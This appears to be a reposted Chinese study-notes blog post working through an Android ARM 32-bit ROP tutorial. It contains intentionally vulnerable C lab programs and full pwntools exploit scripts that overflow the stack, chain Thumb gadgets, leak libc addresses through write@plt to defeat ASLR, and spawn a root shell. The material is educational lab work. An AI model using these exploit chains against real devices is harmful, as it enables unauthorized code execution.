一步一步学ROP之Android ARM 32位篇 -- 阅读笔记及实践

来源:互联网 发布:淘宝退货运费理赔 编辑:程序博客网 时间:2024/06/03 17:53

0x00 前言

  本文是蒸米的《一步一步学ROP之Android ARM 32位篇》读书笔记,自己动手做了一遍,记录了遇到不一样的地方和问题,4个程序全部运行成功。


0x01 简单的例子(level6)

#include<stdio.h>#include<stdlib.h>#include<unistd.h>void callsystem(){    system("/system/bin/sh");}void vulnerable_function() {    char buf[128];    read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv) {    if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();    write(STDOUT_FILENO, "Hello, World\n", 13);    vulnerable_function();}

为了减少难度,我们先将stack canary去掉(在JNI目录下建立Application.mk并加入APP_CFLAGS += -fno-stack-protector)。随后用ndk-build进行编译。


ndk-build
adb push libs/armeabi/level6 /data/local/tmp/

adb shell
cd /data/local/tmp/
./socat TCP4-LISTEN:10001,fork EXEC:./level6

adb forward tcp:10001 tcp:10001

现在我们尝试连接一下:
$ nc 127.0.0.1 10001
Hello, World
发现工作正常。


 因为callsystem()被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,最终exp如下:

#!/usr/bin/env pythonfrom pwn import * #p = process('./level6')p = remote('127.0.0.1',10001)p.recvuntil('\n')callsystemaddr = 0x00008500 + 1payload =  'A'*132 + p32(callsystemaddr)p.send(payload) p.interactive()

执行效果如下:

$ python level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0


为什么是0x00008500?


Ida看的很清楚。


为什么是132?


进入函数前,程序先将LR寄存器(返回地址)入栈,然后开辟0x84(132)大小的栈空间,并且将栈顶指针赋值给了buf[128],将开辟的栈帧溢出即可覆盖到返回地址。


0x02 寻找thumb gadgets(level7)

原始程序

#include<stdio.h>#include<stdlib.h>#include<unistd.h> char *str="/system/bin/sh"; void callsystem(){    system("id");} void vulnerable_function() {    char buf[128];    read(STDIN_FILENO, buf, 256);} int main(int argc, char** argv) 
{    if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();    write(STDOUT_FILENO, "Hello, World\n", 13);       vulnerable_function();}

因为未知的原因,没有找到需要的gadgets,所以将sqlite3的源码添加进去,这样编译出来的level7有400多kb,找到的gadgets就多了。


./ROPgadget.py --binary=./level7 --thumb | grep "ldr r0"


0x00028fe6 : ldr r0, [sp, #0x10] ; add r6, pc ; adds r6, #0xfc ; ldr r4, [r6, #0x28] ; adds r1, r7, #0 ; ldr r2, [sp, #8] ; blx r4
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} ; movs r0, #0 ; bx lr
0x0004a6a2 : ldr r0, [sp, #0x10] ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x00038376 : ldr r0, [sp, #0x10] ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}
0x00034b42 : ldr r0, [sp, #0x10] ; add sp, #0x44 ; pop {r4, r5, r6, r7, pc}
0x00056ca4 : ldr r0, [sp, #0x10] ; adds r1, r4, #0 ; add r3, pc ; ldr r3, [r3, #0x1c] ; blx r3
0x0002cf62 : ldr r0, [sp, #0x10] ; adds r1, r4, #0 ; bl #0x19522 ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}
0x00028ffe : ldr r0, [sp, #0x10] ; adds r1, r7, #0 ; blx r3
0x0001a0fe : ldr r0, [sp, #0x10] ; adds r2, r6, #0 ; add r3, sp, #0x18 ; blx r4
0x0000e35c : ldr r0, [sp, #0x10] ; bl #0x18f88 ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x0000c0ae : ldr r0, [sp, #0x10] ; bl #0x18f88 ; add sp, #0x3c ; pop {r4, r5, r6, r7, pc}


在这些gadgets中,我们成功找到了一个gadget可以符合我们的要求:
0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}


接下来就是找system和"/system/bin/sh"的地址



要注意的是,因为system()函数在plt区域,并没有被编译成thumb指令,而是普通的arm指令,因此并不需要将地址+1。最终level7.py如下:

#!/usr/bin/env pythonfrom pwn import * #p = process('./level7')p = remote('127.0.0.1',10001)p.recvuntil('\n')#0x00015234 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}gadget1 = 0x00015234 + 1#.rodata:00061EB5 aSystemBinSh    DCB "/system/bin/sh",0r0 = 0x00061EB5#.plt:000093D4 ; int system(const char *)systemaddr = 0x000093D4 payload =  '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(systemaddr)p.send(payload) p.interactive()

执行方法同上。


payload =  '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(systemaddr)
这条指令是怎么来的?
'\x00'*132 + p32(gadget1)解释同上
"\x00"*0x10对应ldr r0, [sp, #0x10]的[sp, #0x10]部分
p32(r0)对应ldr r0, [sp, #0x10]的ldr r0部分
填充数据"\x00"*0x18计算方法:  
add sp, #0x1c ;          回收0x1c个字节栈空间
pop {r4, r5, r6, r7, pc}     出栈0x4*4个字节,然后到pc寄存器
因此需要的填充数据个数为: 0x1c + 0x4*4 - "\x00"*0x10 - 0x4(p32(r0)) = 0x18


0x03 Android上的ASLR(level8)

Android上的ASLR其实伪ASLR,因为如果程序是由皆由zygote fork的,那么所有的系统library(libc,libandroid_runtime等)和dalvik - heap的基址都会是相同的,并且和zygote的内存布局一模一样。


假设我们已经知道了目标app的libc.so在内存中的地址了,那么应该如何控制pc执行我们希望的rop呢?OK,现在我们现在来看level8.c:

#include <stdio.h>

#include <stdlib.h>#include <unistd.h>#include <dlfcn.h>void getsystemaddr(){    void* handle = dlopen("libc.so", RTLD_LAZY);    printf("%p\n",dlsym(handle,"system"));    fflush(stdout);    // 输出system地址}void vulnerable_function() {    char buf[128];    read(STDIN_FILENO, buf, 256);} int main(int argc, char** argv) {    getsystemaddr();    write(STDOUT_FILENO, "Hello, World\n", 13);        vulnerable_function();}

这个程序会先输出system的地址,相当于我们已经获取了这个进程的内存布局了。接下来要做的就是在libc.so中寻找我们需要的gadgets和字符串地址。因为libc.so很大,我们完全不用担心找不到需要的gadgets,并且我们只需要控制一个r0即可。因此这个gadgets能满足我们的需求:
0x00033602 : ldr r0, [sp] ; pop {r1, r2, r3, pc}


接下来就是在libc.so中找system()和"/system/bin/sh"的位置:




需要根据system()在内存中的地址进行偏移量的计算才能够成功的找到gadgets和"/system/bin/sh"在内存中的地址。除此之外,还要注意thumb指令和arm指令的转换问题。最终的exp level8.py如下:

#!/usr/bin/env pythonfrom pwn import * #p = process('./level8')p = remote('127.0.0.1',10001)system_addr_str = p.recvuntil('\n')system_addr = int(system_addr_str,16)print "system_addr = " + hex(system_addr)p.recvuntil('\n')raw_input()#.text:0001D080                 EXPORT system                libc#0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}gadget1 = system_addr + (0x00034ace - 0x0001D080)print "gadget1 = " + hex(gadget1)#.rodata:00040AC8 aSystemBinSh    DCB "/system/bin/sh",0     libcr0 = system_addr + (0x00040AC8 - 0x0001D080) - 1print "/system/bin/sh addr = " + hex(r0)payload =  '\x00'*132 + p32(gadget1) + p32(r0) + "\x00"*0x8 + p32(system_addr)p.send(payload) p.interactive()

执行方法同上
Payload计算方法同上


0x04 Android上的information leak(level9)

在上面的例子中,我们假设已经知道了libc.so的基址了,但是如果我们是进行远程攻击,并且原程序中没有调用system()函数怎么办?这意味着目标程序的内存布局对我们来说是随机的,我们并不能直接调用libc.so中的gadgets,因为我们并不知道libc.so在内存中的地址。其实这也是有办法的,我们首先需要一个information leak的漏洞来获取libc.so在内存中的地址,然后再控制pc去执行我们的rop。现在我们来看level9.c:
原始程序:

#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<dlfcn.h> void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 512);} int main(int argc, char** argv) {write(STDOUT_FILENO, "Hello, World\n", 13);vulnerable_function();}

同样使用sqlite3拓展代码。

虽然程序非常简单,可用的gadgets很少。但好消息是我们发现除了程序本身的实现的函数之外,我们还可以使用write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为android和linux类似采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。



0x00028fb6 : ldr r0, [sp, #0x10] ; add r6, pc ; adds r6, #0xfc ; ldr r4, [r6, #0x28] ; adds r1, r7, #0 ; ldr r2, [sp, #8] ; blx r4
0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc}
0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} ; movs r0, #0 ; bx lr
0x0004a672 : ldr r0, [sp, #0x10] ; add sp, #0x2c ; pop {r4, r5, r6, r7, pc}
0x00038346 : ldr r0, [sp, #0x10] ; add sp, #0x34 ; pop {r4, r5, r6, r7, pc}


0x0001055c : pop {r0, r2, r6, pc}
0x00048724 : pop {r0, r3, r6, r7, pc}
0x00013fc2 : pop {r1, r2, r3, pc}


#!/usr/bin/env pythonfrom pwn import * #p = process('./level7')p = remote('127.0.0.1',10001) p.recvuntil('\n')raw_input()#0x00015204 : ldr r0, [sp, #0x10] ; add sp, #0x1c ; pop {r4, r5, r6, r7, pc} gadget1 = 0x00015204 + 1#0x00013fc2 : pop {r1, r2, r3, pc}gadget2 = 0x00013fc2 + 1#.text:000127C8 vulnerable_functionret_to_vul = 0x000127C8 + 1 #write(r0=1, r1=0x0006BF38, r2=4)r0 = 1r1 = 0x0006BF38r2 = 4r3 = 0r5 = 0r6 = 0#.plt:0x00009404 write              write_addr_plt = 0x00009404 payload =  '\x00'*132 + p32(gadget1) + '\x00'*0x10 + p32(r0) + '\x00'*0x18 + p32(gadget2) + p32(r1) + p32(r2) + p32(r3) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul) p.send(payload)write_addr = u32(p.recv(4))print 'write_addr=' + hex(write_addr)#.rodata:00040AC8 aSystemBinSh  DCB "/system/bin/sh",0        libc#.text:0001D080                 EXPORT system               libc#.text:00039168      EXPORT write                 libc r0 = write_addr + (0x00040AC8 - 0x00039168) - 1system_addr = write_addr + (0x0001D080 - 0x00039168) # no +1 print 'r0=' + hex(r0)print 'system_addr=' + hex(system_addr) payload2 = '\x00'*132 + p32(gadget1) + "\x00"*0x10 + p32(r0) + "\x00"*0x18 + p32(system_addr) p.send(payload2) p.interactive()

Payload计算方法:
前面部分同前
'\x00' * 0x84 + p32(ret_to_vul)

BLX read后
ADD SP, SP, #0x84
POP {PC}

第一次溢出后,再次返回vulnerable_function,准备第二次溢出


执行方法:


r0 = write_addr + (0x00040AC8 - 0x00039168) - 1
system_addr = write_addr + (0x0001D080 - 0x00039168) # no +1
作者的原版r0行没有-1,我运行的结果是不减一指向的字符串是”system/bin/sh”, 缺少一个’/’。
system_addr行原版+1,我运行的结果是+1程序奔溃。


所有资源下载:http://download.csdn.net/detail/andy7002/9865073

原创粉丝点击